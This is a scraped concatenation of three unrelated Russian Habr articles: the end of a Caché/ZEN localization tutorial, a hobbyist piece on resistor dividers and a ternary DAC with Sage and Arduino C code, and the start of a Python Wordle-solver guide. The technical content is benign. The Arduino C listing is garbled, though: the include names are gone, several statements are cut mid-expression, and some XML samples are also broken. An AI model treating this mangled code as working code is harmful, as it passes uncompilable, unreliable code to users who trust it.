}
}`
> Примечание: вы, конечно же, можете использовать и макросы, описанные выше.
Результат:
```
USER>d ##class(demo.test).Test()
Привет, Мир!
Hello, World!
Привет, Мир!
ОШИБКА #822: Отказано в доступе
ERROR #822: Access Denied
ERRO #822: Acesso Negado
```
Обратите внимание на следующие моменты:
* сообщения для исключений уже переведены на несколько языков. Поскольку это системные сообщения, данные для них хранятся в системном глобале **%qCacheMsg**;
* имя домена мы задали один раз, так как по умолчанию макрос **$$$Text** рассчитан на использование в классах;
* макрос **$$$Text** хоть и рассчитан на использование в веб-приложениях, тем не менее вполне подходит и для offline-окружения.
#### Пример локализации веб-приложения
Рассмотрим следующий пример:
`/// Created using the page template: Default
Class demo.test Extends %ZEN.Component.page
{
/// Имя приложения, которому принадлежит эта страница.
Parameter APPLICATION;
/// Отображаемое имя для нового приложения.
Parameter PAGENAME;
/// Домен, используемый для локализации.
Parameter DOMAIN = "asd";
/// Этот блок Style содержит определение CSS стиля страницы.
XData Style
{
<style type="text/css">
style>
}
/// Этот XML блок описывает содержимое этой страницы.
XData Contents [ XMLNamespace = "www.intersystems.com/zen" ]
{
<page xmlns="www.intersystems.com/zen" title="">
<checkbox onchange="zenPage.ChangeLanguage();"/>
<button caption="Клиент" onclick="zenPage.clientTest(2,3);"/>
<button caption="Сервер" onclick="zenAlert(zenPage.ServerTest(1,2));"/>
page>
}
ClientMethod clientTest(
a,
b) [ Language = javascript ]
{
zenAlert(
$$$FormatText($$$Text("Результат(1)^ %$# @\*&' %1=%2"),'"',a+b),'\n',
zenText('msg3',a+b),'\n',
$$$Text("Привет из браузера!")
);
}
ClassMethod ServerTest(
A,
B) As %String [ ZenMethod ]
{
&js<zenAlert(#(..QuoteJS($$$FormatText($$$Text("Результат(2)^ %$# @\*&' ""=%1"),A+B)))#);>
quit $$$TextJS("Привет из Caché!")
}
Method ChangeLanguage() [ ZenMethod ]
{
#dim %session as %CSP.Session
set %session.Language=$select(%session.Language="en":"ru",1:"en")
&js<zenPage.gotoPage(#(..QuoteJS(..Link($classname()\_".cls")))#);>
}
Method %OnGetJSResources(ByRef pResources As %String) As %Status [ Private ]
{
Set pResources("msg3") = $$$Text("Результат(3)^ %$# @\*&' ""=%1")
Quit $$$OK
}
}`
Из новшеств следует отметить следующее:
1. существует два варианта локализации сообщений на стороне клиента:
* с помощью метода *$$$Text*, который определён в файле "*zenutils.js*";
* с помощью комбинации метода **zenText()** на стороне клиента и серверного метода **%OnGetJSResources()**
Подробности можно узнать в документации: [Localization for Client Side Text](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GZAP_localization#GZAP_localization_zen_client)
2. некоторые атрибуты ZEN-компонент уже изначально поддерживают локализацию, например: всевозможные заголовки, подсказки и т.д.
При необходимости создать свои собственные объектно-ориентированные компоненты — на основе, например jQuery или extJS или с нуля, — вы можете воспользоваться
специальным типом данных **%ZEN.Datatype.caption**: [Localization for Zen Components](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GZAP_localization#GZAP_C164969)
3. для смены языка можно воспользоваться свойством **Language** у объектов **%session** и/или **%response**: [Zen Special Variables](http://docs.intersystems.com/cache20121/csp/docbook/DocBook.UI.Page.cls?KEY=GZAP_page_really_programming#GZAP_special_variables)
Изначально для сессии используется язык, заданный в браузере:
[увеличить](https://habrastorage.org/getpro/habr/post_images/bf4/d16/f7d/bf4d16f7d61a8740ab52d95354c4890a.png)
#### Создание собственного справочника сообщений об ошибках
Рассмотренных выше средств хватит, чтобы сделать и это.
Тем не менее есть встроенный метод, помогающий немного автоматизировать данный процесс.
Итак приступим.
Создадим файл "*messages\_ru.xml*" с сообщениями об ошибках, следующего содержания:
```
xml version="1.0" encoding="UTF-8"?
Сообщение о некой ошибке 1
Сообщение о некой ошибке 2 %1 %2
```
Импортируем его в БД:
`do ##class(%MessageDictionary).Import("messages\_ru.xml")`
В базе создались два глобала:
* ^CacheMsg
```
USER>zw ^CacheMsg
^CacheMsg("asd","ru",-2)="Сообщение о некой ошибке 2 %1 %2"
^CacheMsg("asd","ru",-1)="Сообщение о некой ошибке 1"
```
* ^CacheMsgNames
```
USER>zw ^CacheMsgNames
^CacheMsgNames("asd",-2)="ErrorName2"
^CacheMsgNames("asd",-1)="ErrorName1"
```
Генерируем Include-файл с именем «CustomErrors»:
```
USER>Do ##class(%MessageDictionary).GenerateInclude("CustomErrors",,"asd",1)
Generating CustomErrors.INC ...
```
> Примечание: Детали см. в документации к методу [GenerateInclude()](http://docs.intersystems.com/cache20121/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=%25Library.MessageDictionary#GenerateInclude).
Файл "*CustomErrors.inc*":
`#define asdErrorName2 "-2"
#define asdErrorName1 "-1"`
Теперь можно использовать в программе коды ошибок и/или сокращённые имена ошибок, например:
`Include CustomErrors
Class demo.test [ Abstract ]
{
ClassMethod test(A As %Integer) As %Status
{
if A=1 Quit $$$ERROR($$$asdErrorName1)
if A=2 Quit $$$ERROR($$$asdErrorName2,"f","6")
Quit $$$OK
}
}`
Результаты:
```
USER>d $system.OBJ.DisplayError(##class(demo.test).test(1))
ОШИБКА -1: Сообщение о некой ошибке 1
USER>d $system.OBJ.DisplayError(##class(demo.test).test(2))
ОШИБКА -2: Сообщение о некой ошибке 2 f 6
USER>w $system.Status.GetErrorText(##class(demo.test).test(1),"en")
ERROR -1: bla-bla-bla 1
USER>w $system.Status.GetErrorText(##class(demo.test).test(2),"en")
ERROR -2: bla-bla-bla 2 f 6
```
> Примечание: Сообщения для английского языка были созданы по аналогии. | https://habr.com/ru/post/144312/ | null | ru | null |
# Сказ про резисторы и неонки
Расчёт цепей постоянного тока на пальцах, или давайте считать ЦАП для троичной логики
-------------------------------------------------------------------------------------
### Но для начала неонки, какой же русский их не любит?
Итак, снова я со своими троичными железками, но в этой статье они выступают фоном, сегодня статья про резисторы. Запаял я было несколько платок, в которые можно воткнуть газоразрядные лампы типа ИН-12 или ИН-15, но часы делать не захотел :)
Простейшие платки, несут на себе пару светодиодов sk6812 для подсветки баллона, десяток транзисторов и управляющие ими 595е сдвиговые регистры. Вот так выглядит платка, несущая на себе одну лампу, но при этом их можно собирать в длинную колбасу для достижения нужного количества ламп:
Спасибо [ikaktys](https://habr.com/ru/users/ikaktys/) за помощь! Одновременно с неонками развёл и запаял троичный счётчик, который я до того собирал на макетке и [подробно описывал](https://habrahabr.ru/post/328162/).
Напоминаю, что мой троичный счётчик использует сбалансированную троичную систему счисления, которая представляется тремя уровнями напряжения (-5, 0 и 5 вольт). Его состояние показывается двухцветными светодиодами: красный цвет — это отрицательное значение, погашенный — нулевое, а зелёный — положительное значение.
Казалось бы, этого вполне хватает, зачем тут неонки? Один мой приятель, который очень искренне интересуется, куда меня заведёт троичная дорожка, оказался дальтоником! Таким образом, мне пришлось думать над альтернативой двухцветным светодиодам. А тут и коробка неонок лежит, и десятичное отображение удобно.
### Скрестить ужа и ежа, или как подружить двоичную и троичную логики
Поскольку у меня, как известно, ардуино головного мозга, то управляю неонками я при помощи ардуины. То есть, драйвер неонок работает на двоичной логике, а мне надо выводить информацию, основанную на троичной. Городить дешифраторы мне было лень, а поскольку у меня уже есть ардуина, то я решил троичный сигнал просто-напросто завести в АЦП ардуины, благо, свободных ног у неё более чем достаточно. Затем просто смотрим, в какой трети области АЦП текущая линия, и это нам даст троичное значение внутри ардуины.
Одна только незадача: ардуина хочет измерять аналоговый сигнал между землёй и пятью вольтами, а троичный сигнал имеет разброс от минус пяти до пяти. Кстати, измерить ардуиной напряжение от -5 до 5 В бывает нужно и в других областях. Например, недавно мне понадобилось измерять силу тока в обмотках двигателя постоянного тока, и датчик холла мне выдавал аккурат сигнал от -5 до 5.
То есть, мне нужно отмасштабировать уровень напряжения в два раза и сдвинуть его в положительную область. Самый простой способ это сделать — это на каждую троичную линию повесить по вот такому резисторному делителю:
Троичный сигнал заходит в Vin (от -5 до +5 В), ардуиновское питание — это Vref (5 В), а Vout заводится на АЦП ардуины. Тут встаёт вопрос, как выбрать необходимые номиналы резисторов, чтобы Vout находился в рабочей зоне АЦП (от 0 до 5 В).
Наверное, есть люди, которые умеют это делать чуть ли не в уме, но я к ним не отношусь, да и физику знаю только на школьном уровне. Моё сокровенное знание — это то, что розетку лизать не надо. Но я умею читать, поэтому, начитавшись википедии, вооружимся законом Ома, законом Кирхгофа и умением решать линейные уравнения.
**Для начала давайте поставим задачу так: зная сопротивления R1, R2 и R3, а также напряжения Vref и Vin, найти силу тока, протекающую через каждый резистор, а заодно выходное напряжение Vout.**
Давайте произвольно выберем направление протекания тока (обозначено стрелочкой) через каждый резистор. Если мы «ошиблись» с выбором направления, то просто сила тока получится отрицательной.
Затем запишем [закон Кирхгофа для узла цепи](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0_%D0%9A%D0%B8%D1%80%D1%85%D0%B3%D0%BE%D1%84%D0%B0#.D0.9F.D0.B5.D1.80.D0.B2.D0.BE.D0.B5_.D0.BF.D1.80.D0.B0.D0.B2.D0.B8.D0.BB.D0.BE) (тот, что жирной чёрной точкой обозначен на схеме): сумма вытекающих токов равняется сумме входящих, то есть I1+I3=I2.
Затем [второе правило Кирхгофа](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0_%D0%9A%D0%B8%D1%80%D1%85%D0%B3%D0%BE%D1%84%D0%B0#.D0.92.D1.82.D0.BE.D1.80.D0.BE.D0.B5_.D0.BF.D1.80.D0.B0.D0.B2.D0.B8.D0.BB.D0.BE) для замкнутого контура нам говорит, что сумма напряжений на резисторах равна общей ЭДС контура.
У нас можно выбрать два контура, один с общим напряжением Vref, второй с напряжением Vin. Запишем все три уравнения:
Перепишем эту же систему в матричном виде, руками мне её решать лень, а в софте для символьных вычислений матрицы явно удобнее:
И тогда искомые токи I1, I2 и I3 можно найти, обратив матрицу 3х3 нашей системы:
Тогда выходное напряжение Vout можно найти через только что найденный I2:
**Это прекрасно, но вообще наша задача не найти Vout по известным сопротивлениям и Vin, но наоборот, зная диапазон Vin, подобрать сопротивления так, чтобы Vout укладывался между нулём и Vref.**
Давайте подставим 5 вольт питания ардуины вместо Vref в наших уравнениях, выберем произвольно резистор R1 в 100кОм (у нас же делитель напряжения, поэтому один из резисторов мы можем выбрать сами). Затем запишем два уравнения: для Vin=-5 В Vout должен быть равен нулю, а для Vin=5 В Vout должен быть равен, например, 4.9 В. То есть, получили следующую систему уравнений, я специально ничего ещё в ней не упрощал:
В целом получается многочленное уравнение, можно посчитать руками, но зачем? Считать буду в sage, вот [тут](http://sagecell.sagemath.org/?z=eJx1jz-PgzAMxfdK9x0Qk1O5iKRl6OCBkTUDS8SdihTUSPxpIdD2258Jd-pyt0SO_X7v2ctlhFhL1Ar1EUvXYznMHsvRNrH42OXUXfzonmCMxINEWaHZ1ClX6YZVFSvrt3IdsdP6sk2YTtfhAflvUXNREOSJ6xc7ThbEvhbJ5Lpb65rXVzO3LawSRYWRFfv9cIXirr1LglNyJuL_XisG53ryzs_eAsdSlIX1KUMtSaafmQiUIkij6F_q8BcVUg0nIvPhjqFd7Luz3S--AVANXMo=&lang=sage) можно исполнить нижеприведённый код:
```
var("R1,R2,R3,Vin,Vout,Vref")
A=matrix([[1,-1,1],[R1,R2,0],[0,R2,R3]])
b=matrix([[0],[Vin],[Vref]])
I=(A.inverse()*b).simplify_full()
I2=I[1][0]
eq1=(4.9==(I2*R2).substitute(Vin= 5,Vref=5,R1=10^5))
eq2=(0 ==(I2*R2).substitute(Vin=-5,Vref=5,R1=10^5))
solve([eq1,eq2],R2,R3)
```
Вот вывод команды solve:
`[[R2 == 0, R3 == 0], [R2 == 2450000, R3 == 100000]]`
Наши резисторы должны иметь строго положительные значения номиналов, поэтому откинем заведомо невозможные ответы. Итого, решатель нам говорит, что если мы выберем R1=R3=100 кОм, а R2=2.45 мегаома, то при питании Vref=5 В диапазон входящих напряжений Vin=[-5 В,+5 В] будет отображён в узле Vout в диапазон [0 В, 4.9 В]. Ура!
*Вопрос для внимательных читателей: а почему я выбрал выходной диапазон 0-4.9 В, а не 0-5 В?*
Вот код, который я использую:
**Скрытый текст**
```
#define F_CPU 16000000L
#include
#include
#include
#include
#include
#include
#include // PSTR
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#define INPUT2(port,pin) DDR ## port &= ~\_BV(pin)
#define OUTPUT2(port,pin) DDR ## port |= \_BV(pin)
#define CLEAR2(port,pin) PORT ## port &= ~\_BV(pin)
#define SET2(port,pin) PORT ## port |= \_BV(pin)
#define READ2(port,pin) ((PIN ## port & \_BV(pin))?1:0)
#define INPUT(x) INPUT2(x)
#define OUTPUT(x) OUTPUT2(x)
#define CLEAR(x) CLEAR2(x)
#define SET(x) SET2(x)
#define READ(x) READ2(x)
#define WRITE(x,b) ((b)?(SET2(x)):(CLEAR2(x)))
#define SK6812\_DATA\_PIN B,0
#define SHIFT\_595\_DATA\_PIN B,1
#define SHIFT\_595\_CLOCK\_PIN B,2
#define SHIFT\_595\_LATCH\_PIN B,3
// IN12b: 0 1 2 3 4 5 6 7 8 9 .
// IN15a: μ n % П k M m + - P nc
uint16\_t nixie\_pins[] = {(1<<8), (1<<11), (1<<9), (1<<3), (1<<4), (1<<5), (1<<0), (1<<7), (1<<2), (1<<6), (1<<10)};
void push\_nixie\_symbol(uint8\_t i) {
uint16\_t data = nixie\_pins[i];
for (int8\_t j=15; j>=0; j--) {
CLEAR(SHIFT\_595\_CLOCK\_PIN);
\_delay\_us(10);
if ((data>>j)&1) {
SET(SHIFT\_595\_DATA\_PIN);
} else {
CLEAR(SHIFT\_595\_DATA\_PIN);
}
\_delay\_us(10);
SET(SHIFT\_595\_CLOCK\_PIN);
\_delay\_us(10);
}
}
void clock\_nixie\_latch() {
SET(SHIFT\_595\_LATCH\_PIN);
\_delay\_us(10);
CLEAR(SHIFT\_595\_LATCH\_PIN);
\_delay\_us(10);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void adc\_init() {
ADMUX = (1<7
ADMUX = (ADMUX & 0xF8) | ch; // clear 3 lower bits before ORing
ADCSRA |= (1< 115.2k baud @ 16MHz.
UCSR0A = 1< 9600 baud @ 16Mhz.
UCSR0B = 1<682 ? 1 : 0);
int8\_t t1 = v1<341 ? -1 : (v1>682 ? 1 : 0);
int8\_t t2 = v2<341 ? -1 : (v2>682 ? 1 : 0);
int8\_t value = t0+t1\*3+t2\*9;
uint8\_t ns0 = abs(value)%10;
uint8\_t ns1 = abs(value)/10;
if (!ns1) ns1 = 10;
uint8\_t ns2 = value>0?7:(value<0?8:10);
if (value>0) {
led\_strip\_write(green, LED\_COUNT);
} else if (value<0) {
led\_strip\_write(red, LED\_COUNT);
} else {
led\_strip\_write(gray, LED\_COUNT);
}
push\_nixie\_symbol(ns0);
push\_nixie\_symbol(ns1);
push\_nixie\_symbol(ns2);
clock\_nixie\_latch();
fprintf\_P(&uart\_stream, PSTR("%d,%d,%d,%d, %d %d %d\r\n"), adc\_read(0), adc\_read(1), adc\_read(2), value, ns2, ns1, ns0);
\_delay\_ms(100);
}
return 0;
}
```
А вот видео работы моего троичного счётчика с десятичным отображением текущего значения на лампах, на нём хорошо видны три одинаковых делителя, заведённые на АЦП ардуины:
Меня не очень смущает двоичность отображения, это не скомпрометирует работу моего троичного вычислителя, так как неонки не являются обязательным элементом, основной вывод предусмотрен двухцветными светодиодами.
Усложняем задачу, переходим к ЦАП
---------------------------------
### Цифро-аналоговое преобразование двоичного кода
Для начала вспомним резисторную матрицу R-2R для двоичного ЦАП, она выглядит примерно вот так:
[Теория](https://en.wikipedia.org/wiki/Resistor_ladder#R.E2.80.932R_resistor_ladder_network_.28digital_to_analog_conversion.29) нам говорит, что если мы выберем R4=R5=R, а R1=R2=R3=R6 = 2R, то, подав на входы V1, V2, V3 три бита двоичного числа, на узле Vout мы получим аналоговый уровень, соответствующий цифровому входу.
Читать энциклопедию это хорошо, но как были получены эти номиналы R и 2R? Давайте их найдём сами. Итак, топология ЦАП нам дана, как и прежде, произвольно выберем направления протекания тока через каждый резистор.
Метод расчёта у нас ровно такой же, что и в предыдущем примере: сначала посчитаем силы тока при заданных номиналах резисторов, а затем напишем несколько уравнений, которые свяжут Vout со входами V1, V2 и V3, что нам даст нужные номиналы.
Итак, узлов у нас три и контуров тоже три, в итоге шесть уравнений:
Перепишем в матричном виде:
И тогда силы токов можно найти, обратив матрицу 6х6:
Vout может быть получена как сумма падений напряжения на трёх резисторах:
Для наглядности давайте я покажу, как выглядит Vout как функция от R1,R2,R3,R4,R5,R6 и V1,V2,V3:
Довольно неприятное выражение, правда? Ну и бог с ним, мы же не руками считать будем. Итак, при заданных номиналах резисторов у нас имеется семь ненулевых комбинаций входящих напряжений на нашем ЦАПе. Им должно соотвеетствовать семь разных значений Vout. Это даст семь уравнений, решив которые, мы получим нужные номиналы резисторов.
Как и прежде, считать будем в sage, вот код, [можно запустить в браузере](http://sagecell.sagemath.org/?z=eJyFUk1vgzAMvVfqn-jJdB5LCB-7-MCRaw65IDQViapIdGx8bfv3cwJIqGrVw3Psl_dsK8p06uCgJeoAtUIdoo5Qx2gkmgCNOnj7XUrX09DVv5DnAgVKfJV8iAJzW6wEl45eCHcrtj0dw2McvRB6tQhbFzys3AyzjgVG2RDYIJ2uv7Q_kK5JyUlGkPr151R1fQXesfT8vr5-NfX57-M8Ng2wZL8zLUGWRwU3Per4JcvDOY04VXMa3jG6IaZ1LarvhCB5eycyrd-PZT_UwzhUYCTZR7NBkfQ8q4wJ4rtKcauMCKLHPcVGGRKEj3tulYpAPdlTzMqAIHiy56KUBPLJnk7Jb9Y2UwU5W5AHMBQjZESMmJEUN7-Obf-dv7Bz&lang=sage).
```
var("R1,R2,R3,R4,R5,R6,V1,V2,V3")
A=matrix([[0,0,1,-1,0,0],[0,1,0,1,-1,0],[1,0,0,0,1,-1],[0,0,R3,R4,R5,R6],[0,R2,0,0,R5,R6],[R1,0,0,0,0,R6]])
b=matrix([[0],[0],[0],[V3],[V2],[V1]])
I=(A.inverse()*b).simplify_full()
Vo=(I[5][0]*R6+I[4][0]*R5+I[3][0]*R4).simplify_full()
eq7=(7/8==Vo.substitute(V1=1,V2=1,V3=1))
eq6=(6/8==Vo.substitute(V1=0,V2=1,V3=1))
eq5=(5/8==Vo.substitute(V1=1,V2=0,V3=1))
eq4=(4/8==Vo.substitute(V1=0,V2=0,V3=1))
eq3=(3/8==Vo.substitute(V1=1,V2=1,V3=0))
eq2=(2/8==Vo.substitute(V1=0,V2=1,V3=0))
eq1=(1/8==Vo.substitute(V1=1,V2=0,V3=0))
solve([eq1,eq2,eq3,eq4,eq5,eq6,eq7],R2,R3,R4,R5,R6)
```
Вот вывод команды solve (я руками выбросил все решения с отрицательными и нулевыми номиналами резисторов):
`[R2 == r11, R3 == r12, R4 == -1/2*r11 + r12, R5 == -1/2*R1 + r11, R6 == R1]`
Это означает, что мы можем резисторы R1, R2, R3 выбрать (почти) произвольно, и наш ЦАП будет работать корректно. Если мы их возьмём все три одного номинала, то и получим известную R-2R матрицу.
### Цифро-аналоговое преобразование троичного кода
А теперь мы подошли к самому интересному, к разработке цифро-аналогового преобразователя для троичной сбалансированной системы. Насколько я знаю, этого ещё никто не делал, дураков мало :)
В общем, резисторная матрица прекрасно работает для двоичного кода, но что будет, если ей на вход подать троичный сигнал? Если V1=V2=V3=-1, то на выходе матрицы будет примерно -1, если V1=V2=V3=0, то на выходе ноль, а если V1=V2=V3=1, то на выходе примерно 1. То есть, в первом приближении матрица работает как нам надо. Давайте попробуем подогнать номиналы резисторов, чтобы она работала совсем хорошо.
Топология матрицы остаётся та же, выражение для Vout не изменяется, нам нужно только подкорректировать систему уравнений для поиска номиналов. Если раньше у нас было 7 уравнений, то сейчас будет 13. Давайте пробовать!
```
var("R,R1,R2,R3,R4,R5,R6,V1,V2,V3")
A=matrix([[0,0,1,-1,0,0],[0,1,0,1,-1,0],[1,0,0,0,1,-1],[0,0,R3,R4,R5,R6],[0,R2,0,0,R5,R6],[R1,0,0,0,0,R6]])
b=matrix([[0],[0],[0],[V3],[V2],[V1]])
I=(A.inverse()*b).simplify_full()
Vo=(I[5][0]*R6+I[4][0]*R5+I[3][0]*R4).simplify_full()
Vo=Vo.substitute(R1==R,R2==R,R3==R)
eq13=(26/27==Vo.substitute(V1= 1,V2= 1,V3= 1))
eq12=(24/27==Vo.substitute(V1= 0,V2= 1,V3= 1))
eq11=(22/27==Vo.substitute(V1=-1,V2= 1,V3= 1))
eq10=(20/27==Vo.substitute(V1= 1,V2= 0,V3= 1))
eq09=(18/27==Vo.substitute(V1= 0,V2= 0,V3= 1))
eq08=(16/27==Vo.substitute(V1=-1,V2= 0,V3= 1))
eq07=(14/27==Vo.substitute(V1= 1,V2=-1,V3= 1))
eq06=(12/27==Vo.substitute(V1= 0,V2=-1,V3= 1))
eq05=(10/27==Vo.substitute(V1=-1,V2=-1,V3= 1))
eq04=( 8/27==Vo.substitute(V1= 1,V2= 1,V3= 0))
eq03=( 6/27==Vo.substitute(V1= 0,V2= 1,V3= 0))
eq02=( 4/27==Vo.substitute(V1=-1,V2= 1,V3= 0))
eq01=( 2/27==Vo.substitute(V1= 1,V2= 0,V3= 0))
sln=solve([eq01,eq02,eq03,eq04,eq05,eq06,eq07,eq08,eq09,eq10,eq11,eq12,eq13],R4,R5,R6)
show(sln)
```
Как обычно, этот код можно [запустить в браузере.](http://sagecell.sagemath.org/?z=eJx9k02PgjAQhu8m_gfiqbiD2w9APfTg0WsPXIjZSIJZEpRdi-7uv9-Zigma1gMv7fDMO52WXvdnNjNgBBgJRoFJwWRgcigEFBIKNYunk40-7vtz88vKkgMHAYnAF99BSZN7AKcuPATcVz72dBEs48JDwNxTOM13WKwaFaOM4SkUiSQRjttqtlk0p2t9tjWL51W8sM3xq20Ofx-HS9syRKaTotNsW2Y7tJib_G1bprdhhkN1G6aeREwruoW9VLZv-ktfMyO0xl2SThWqc6-_hdJM5u9yqZ8SCqEj2kGnCjWOHS-RTwM89_ACeennE58_R56_XA8f83ytmVi9XM8jv0I-0G_i818iH-rX8cnD-nmOfKDf23qe-Az5QL-Jzz_VLAr1O95PPvB4vlHofLmHx_ONAv0mPn883yjU73g_HT-d2Pakbddea1ZSMlBFEkWSkmQkOcmSZEWyBvozSChDUIbA63S_l-hsP7sfhubxP6zTE3Y=&lang=sage)
Ну слушайте, а ведь система имеет решение, если мы возьмём R1=R2=R3=R, R4=R5=4/3R а R6=2R, то у нас получится настоящий троичный ЦАП!
Теория теорией, но давайте проверять на практике
------------------------------------------------
Для того, чтобы проверить работу ЦАПа, возьмём этот же самый троичный счётчик, что я описал чуть ранее. Тактироваться счётчик будет треугольной пилой, схема доступна [тут.](http://www.piclist.com/images/www/hobby_elec/e_ckt16.htm) А три разряда нашего счётчика заведём на три входа троичного ЦАПа. Вот так выглядит тестовая схема:
На макетке сверху тактирующие треугольники, потом счётчик, на макетке снизу резисторная матрица. В этой матрице три номинала резисторов, я выбрал 1 кОм, 1.33 кОм и 2 кОм. Трёхразрядный счётчик считает от -13 до +13, на выходе я ожидаю увидеть лесенку от (примерно) -5 В до (примерно) +5 В. Тыкаюсь осциллографом:
Отлично видно, что каждый тактирующий треугольник нам генерирует очередную ступеньку лестницы. Работает!
Бонус: насколько можно доверять математическому софту?
------------------------------------------------------
Мы сегодня бодро считали крокодилы всякие софтом хорошим. А вообще насколько можно доверять тому, что мы насчитали? Я по работе много считаю всякого, находил баги практически во всех математических пакетах. Вот, к примеру, раз речь идёт о sage, скриншот, который я сделал два с половиной года назад, когда отправлял багрепорт:
Кто прав, численный интеграл функции f или его символьное вычисление? Они же даже разного знака! Сейчас на дворе конец 2017го года, можете [проверить текущее состояние вещей](http://sagecell.sagemath.org/?z=eJxVjEEKwjAQRfeCdxi66SRGqFkKPYmIxJDIQJqEZCx6e4O1BXfvfeZNLhQZZlcqpYhiv5tNwZ7Vq2_sYYRKEVlIwyZq1HJRddTSptrocGp3-fvEr9DF5-QKWROgqXsUE87QKdjm2zqjV4PKJC7DdYvre7qnQPa__Qm7liAvlfgAAkU8UQ==&lang=sage). Версии сменяются, а ошибка по-прежнему на месте. Поэтому **математическим софтом пользоваться, конечно, можно, но проверять результаты надо точно так же, как и после вывода формул на бумаге**. | https://habr.com/ru/post/341328/ | null | ru | null |
# Как решить популярную в 2022 головоломку Wordle на Python
К старту курса по [Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_140122&utm_term=lead) рассказываем, как решать Wordle. Worlde — новая головоломка, которая захватила внимание множества людей по всему миру. За подробностями приглашаем под кат.
---
Слышали об игре [Wordle](https://www.powerlanguage.co.uk/wordle/)? Её простота обманчива. Надо отгадывать английские слова из пяти букв. Если слово не отгадано, даются подсказки: цвет ячейки с буквой становится зелёным, если угадано его место в слове; жёлтым, если она есть в слове, но в другом месте; и серым, если её в слове нет. Кажется, это просто просто, а всё-таки сложно! Напишем решатель задач для Wordle. Понадобятся абстракции множества, генераторы списков на Python и немного удачи! Чтобы было проще, далее цвет фона будем считать цветом буквы.
### Задача
Каждый день в Wordle генерируется новое слово. У нас только шесть попыток, а на сайте для отслеживания прогресса используются куки — так что выбираем тщательно! Но, похоже, здесь есть подсказки:
Пишем решатель задач Wordle на Python.
1. Слово состоит из пяти английских букв.
2. Нет никаких знаков препинания, цифр и других символов.
3. После каждой попытки даются подсказки:
1. Фон за буквой становится зелёным, если символ *и* его место в слове угаданы.
2. Фон становится жёлтым, если символ *есть* в слове, но в другом месте.
3. Фон за буквой серый, если символа в слове *нет*.
4. Число допустимых слов ограничено словарём Wordle.
Воспользоваться именно им было бы слишком просто, лучше взять бесплатный словарь Linux здесь: /usr/share/dict/american-english. На каждую его строку приходится одно слово.
### Загрузка и генерирование слов
Сначала берём словарь. Вы можете выбрать свой. Код описывает правила игры:
```
import string
DICT = "/usr/share/dict/american-english"
ALLOWABLE_CHARACTERS = set(string.ascii_letters)
ALLOWED_ATTEMPTS = 6
WORD_LENGTH = 5
```
Всего шесть попыток, длина слова — пять (букв), используем все доступные символы алфавита.
Преобразуем допустимые в set() символы, чтобы применять функционал множеств в части проверок принадлежности. Подробнее об этом позже. Генерируем множество слов, которые соответствуют правилам игры:
```
from pathlib import Path
WORDS = {
word.lower()
for word in Path(DICT).read_text().splitlines()
if len(word) == WORD_LENGTH and set(word) < ALLOWABLE_CHARACTERS
}
```
Чтобы создать множество допустимых слов, здесь используем *абстракцию множества*, а также класс Path, чтобы считывать данные прямо из файла. Рекомендую [ознакомиться](https://www.inspiredpython.com/article/common-path-patterns) с Path: у него отличный функционал.
Фильтруем словарные слова, чтобы остались только слова с нужной длиной *и* символами, принадлежащими *подмножеству* ALLOWABLE\_CHARACTERS. Из словаря выбираются лишь те слова, которые можно написать, используя множество допустимых символов.
### Частотный анализ английского алфавита
Особенность английского языка — неравномерное распределение букв в словах. Например, буква E используется чаще, чем X. Поэтому генерируем слова с самыми частотными буквами — так больше шансов найти в Wordle соответствие символам слова. Выигрышная стратегия состоит в том, чтобы создать систему, которая вернёт самые частотные буквы английского языка. Со словарём это будет проще!
```
from collections import Counter
from itertools import chain
LETTER_COUNTER = Counter(chain.from_iterable(WORDS))
```
Класс Counter — это словарь с подсчётом элементов. Когда в него передаются значения, они отслеживаются как ключи. При этом сохраняется количество вхождений, то есть значений этих ключей. Эту частотность букв и нужно задействовать в задаче.
Для этого воспользуемся функцией chain из модуля itertools. В ней есть скрытый метод from\_iterable, который принимает один итерируемый объект и оценивает его как длинную цепочку таких объектов. Пример поможет разобраться:
```
>>> list(chain.from_iterable(["inspired", "python"]))
['i', 'n', 's', 'p', 'i', 'r', 'e', 'd', 'p', 'y', 't', 'h', 'o', 'n']
```
Строки — это тоже итерируемые объекты, а WORDS — это множество таких строк, поэтому разбиваем множество (или список и т. д.) на составляющие их символы. Этим и полезны строки: передаём их через set, чтобы получить уникальные символы в слове:
```
>>> set("hello")
{'e', 'h', 'l', 'o'}
```
* Множества моделируются в своих математических собратьях с тем же именем, содержат только уникальные значения — без повторов — и *неупорядочены*.
Поэтому порядок следования множества символов иной, нежели в строке. У множеств обширный функционал, например проверка подмножества (полностью ли одно множество содержится в другом), получение элементов, которые перекрывают два множества (пересечение), объединение двух множеств и т. д.
Итак, буквы подсчитаны:
```
>>> LETTER_COUNTER
Counter({'h': 828,
'o': 1888,
'n': 1484,
'e': 3106,
's': 2954,
'v': 338,
# ... etc ...
})
```
Но это даёт лишь абсолютное число символов. Лучше разбить его на процент общего количества. Для этого используем метод total в классе Counter, дающий общее количество вхождений букв.
Переведём это количество в таблицу частотности:
```
LETTER_FREQUENCY = {
character: value / LETTER_COUNTER.total()
for character, value in LETTER_COUNTER.items()
}
```
> В Python 3.10 появился метод Counter.total(), поэтому если вы работаете со старым Python, то можете заменить его на sum(LETTER\_COUNTER.values()).
>
>
Здесь применяем *генератор словарей*, чтобы перечислить каждый ключ и значение нового, считающего словаря LETTER\_COUNTER, и делим каждое значение на общее количество:
```
>>> LETTER_FREQUENCY
{'h': 0.02804403048264183,
'o': 0.06394580863674852,
'n': 0.050262489415749366,
'e': 0.10519898391193903,
's': 0.10005080440304827,
# ... etc ...
}
```
Получилась идеальная система подсчёта частотности букв, использующая *подмножество словаря*. Причём взят не весь словарь, а только части с допустимыми в Wordle словами. Вряд ли это очень повлияет на оценки, но теперь у нас есть множество слов, которые мы используем.
